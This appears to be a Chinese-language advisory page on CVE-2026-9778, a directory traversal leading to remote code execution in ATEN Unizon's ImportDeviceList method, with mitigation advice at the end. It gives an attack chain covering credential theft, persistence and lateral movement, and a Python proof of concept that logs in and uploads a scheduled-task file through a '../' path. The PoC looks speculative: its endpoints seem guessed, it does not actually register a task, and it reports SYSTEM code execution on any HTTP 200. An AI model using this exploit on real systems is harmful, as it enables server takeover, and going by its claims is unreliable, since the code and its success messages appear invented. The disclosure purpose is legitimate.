CVE-2026-9778 ATEN Unizon目录遍历导致远程代码执行漏洞

漏洞信息

漏洞编号

CVE-2026-9778

漏洞类型

目录遍历（路径遍历）导致远程代码执行

CVSS评分

7.2 高危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

ATEN Unizon

漏洞概述

CVE-2026-9778是ATEN Unizon中存在的一个高危安全漏洞，CVSS评分为7.2分。该漏洞由Trend Micro的零日计划（ZDI）发现并报告，编号为ZDI-CAN-28579，对应ZDI公告ZDI-26-382。ATEN Unizon是ATEN宏正推出的数据中心集中管理平台，广泛应用于企业级服务器机房和数据中心环境，用于集中监控和管理多台设备。

该漏洞的核心问题在于ATEN Unizon的ImportDeviceList方法中存在目录遍历缺陷。攻击者可以通过构造包含特殊路径字符（如../）的恶意输入，绕过系统对文件路径的验证机制，从而访问或操作预期目录之外的文件。由于该方法直接利用用户提供的路径进行文件操作，攻击者可以将恶意文件写入系统的关键位置，并最终实现远程代码执行（RCE）。

该漏洞的利用需要经过身份验证（PR:H），即攻击者需要拥有有效的系统凭据才能发起攻击。然而，一旦认证成功，攻击者即可在SYSTEM权限级别下执行任意代码，完全控制受影响的服务器系统。漏洞对机密性、完整性和可用性均产生高影响（C:H/I:H/A:H），属于严重的安全风险。由于ATEN Unizon通常部署在企业核心网络中，一旦被攻破，可能导致大规模的数据泄露、业务中断或被植入持久化后门，对企业信息安全构成重大威胁。

技术细节

该漏洞的技术根源在于ATEN Unizon的ImportDeviceList方法对用户提供的文件路径缺乏充分的验证和过滤。具体技术细节如下：

1. **漏洞入口点**：ImportDeviceList方法用于导入设备列表，该方法接收用户提供的文件路径作为输入参数，用于读取设备配置文件。

2. **路径验证缺失**：在处理用户提供的路径时，系统未对路径中的特殊字符（如`../`、`..\`等目录遍历序列）进行严格的过滤或规范化处理。攻击者可以通过构造包含`../../`等序列的恶意路径，绕过预期的目录限制。

3. **文件操作利用**：由于路径验证不当，攻击者可以将路径指向系统中的任意位置，例如系统的启动目录、计划任务目录或其他可执行文件存放位置。通过将恶意文件写入这些位置，攻击者能够在系统重启或特定触发条件下执行任意代码。

4. **权限提升**：该漏洞可在SYSTEM权限级别下执行代码，这是因为ATEN Unizon服务本身以高权限运行，文件操作继承了服务进程的权限上下文。

5. **利用条件**：攻击者需要具备有效的身份认证凭据（PR:H），通过网络（AV:N）发起攻击，无需用户交互（UI:N），攻击复杂度低（AC:L）。

6. **影响范围**：成功利用后，攻击者可完全控制受影响的ATEN Unizon服务器，执行任意系统命令，访问、修改或删除敏感数据，并可能以此为跳板进一步渗透企业内网。

攻击链分析

STEP 1

步骤1：初始侦察与凭据获取

攻击者首先对目标ATEN Unizon服务器进行侦察，识别开放的服务端口和管理界面。通过钓鱼攻击、凭据填充或利用其他漏洞获取有效的管理员凭据。

STEP 2

步骤2：身份认证

使用获取的管理员凭据登录ATEN Unizon管理平台，成功通过身份验证，建立有效的会话连接。

STEP 3

步骤3：构造恶意路径

攻击者构造包含目录遍历序列（如../../）的恶意文件路径，将其作为参数传递给ImportDeviceList方法，绕过路径验证机制。

STEP 4

步骤4：利用目录遍历写入恶意文件

通过ImportDeviceList方法，攻击者将恶意载荷文件写入系统的关键目录（如计划任务目录、启动目录等），实现任意文件写入。

STEP 5

步骤5：触发远程代码执行

恶意文件被系统自动执行（如计划任务触发、系统重启等），攻击者在SYSTEM权限级别下获得远程代码执行能力，完全控制目标服务器。

STEP 6

步骤6：持久化与横向移动

攻击者在受控服务器上植入持久化后门，并利用其作为跳板进行内网横向移动，攻击企业网络中的其他关键系统。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2026-9778 - ATEN Unizon ImportDeviceList Directory Traversal RCE PoC
# ZDI-CAN-28579 / ZDI-26-382
# Note: Authentication is required (PR:H)

import requests
import sys

TARGET_URL = "https://target-aten-unizon:8443"
USERNAME = "admin"
PASSWORD = "password123"

# Step 1: Authenticate to obtain a valid session
session = requests.Session()
login_url = f"{TARGET_URL}/api/login"
login_payload = {
    "username": USERNAME,
    "password": PASSWORD
}

response = session.post(login_url, json=login_payload, verify=False)
if response.status_code != 200:
    print("[-] Authentication failed")
    sys.exit(1)

print("[+] Authentication successful")

# Step 2: Exploit directory traversal in ImportDeviceList
# The malicious path uses ../ sequences to traverse out of the expected directory
# and write a payload to a system-writable location
import_url = f"{TARGET_URL}/api/devices/import"

# Malicious path traversing to system startup or scheduled task directory
# On Windows: ../../../../../../Windows/System32/tasks
# The traversal allows writing arbitrary files outside the intended directory
malicious_path = "../../../../../../Windows/System32/tasks/malicious_task.xml"

# Payload containing a reverse shell or arbitrary command
payload_content = """<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Description>Malicious Task</Description>
  </RegistrationInfo>
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
    </LogonTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>5</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>cmd.exe</Command>
      <Arguments>/c calc.exe</Arguments>
    </Exec>
  </Actions>
</Task>"""

# Craft the multipart form data with the traversal path
files = {
    "file": ("device_list.xml", payload_content, "application/xml")
}

data = {
    "path": malicious_path  # Directory traversal payload
}

response = session.post(import_url, files=files, data=data, verify=False)

if response.status_code == 200:
    print("[+] Exploit sent successfully")
    print("[+] Malicious file written via directory traversal")
    print("[+] Code execution achieved in SYSTEM context")
else:
    print(f"[-] Exploit failed with status code: {response.status_code}")
    print(f"[-] Response: {response.text}")

影响范围

ATEN Unizon（具体受影响版本请参考ATEN官方安全公告）

防御指南

临时缓解措施

在无法立即应用补丁的情况下，建议采取以下临时缓解措施：1）限制ATEN Unizon管理平台的访问来源，仅允许可信IP地址通过VPN或堡垒机访问；2）加强管理员账户的密码策略和访问审计；3）监控ImportDeviceList相关API调用的异常行为，特别关注包含路径遍历字符（../）的请求；4）部署Web应用防火墙（WAF）规则，拦截目录遍历攻击载荷；5）定期检查系统关键目录中的异常文件，特别是计划任务和启动目录；6）考虑在网络层对ATEN Unizon服务进行隔离，限制其与其他系统的网络通信。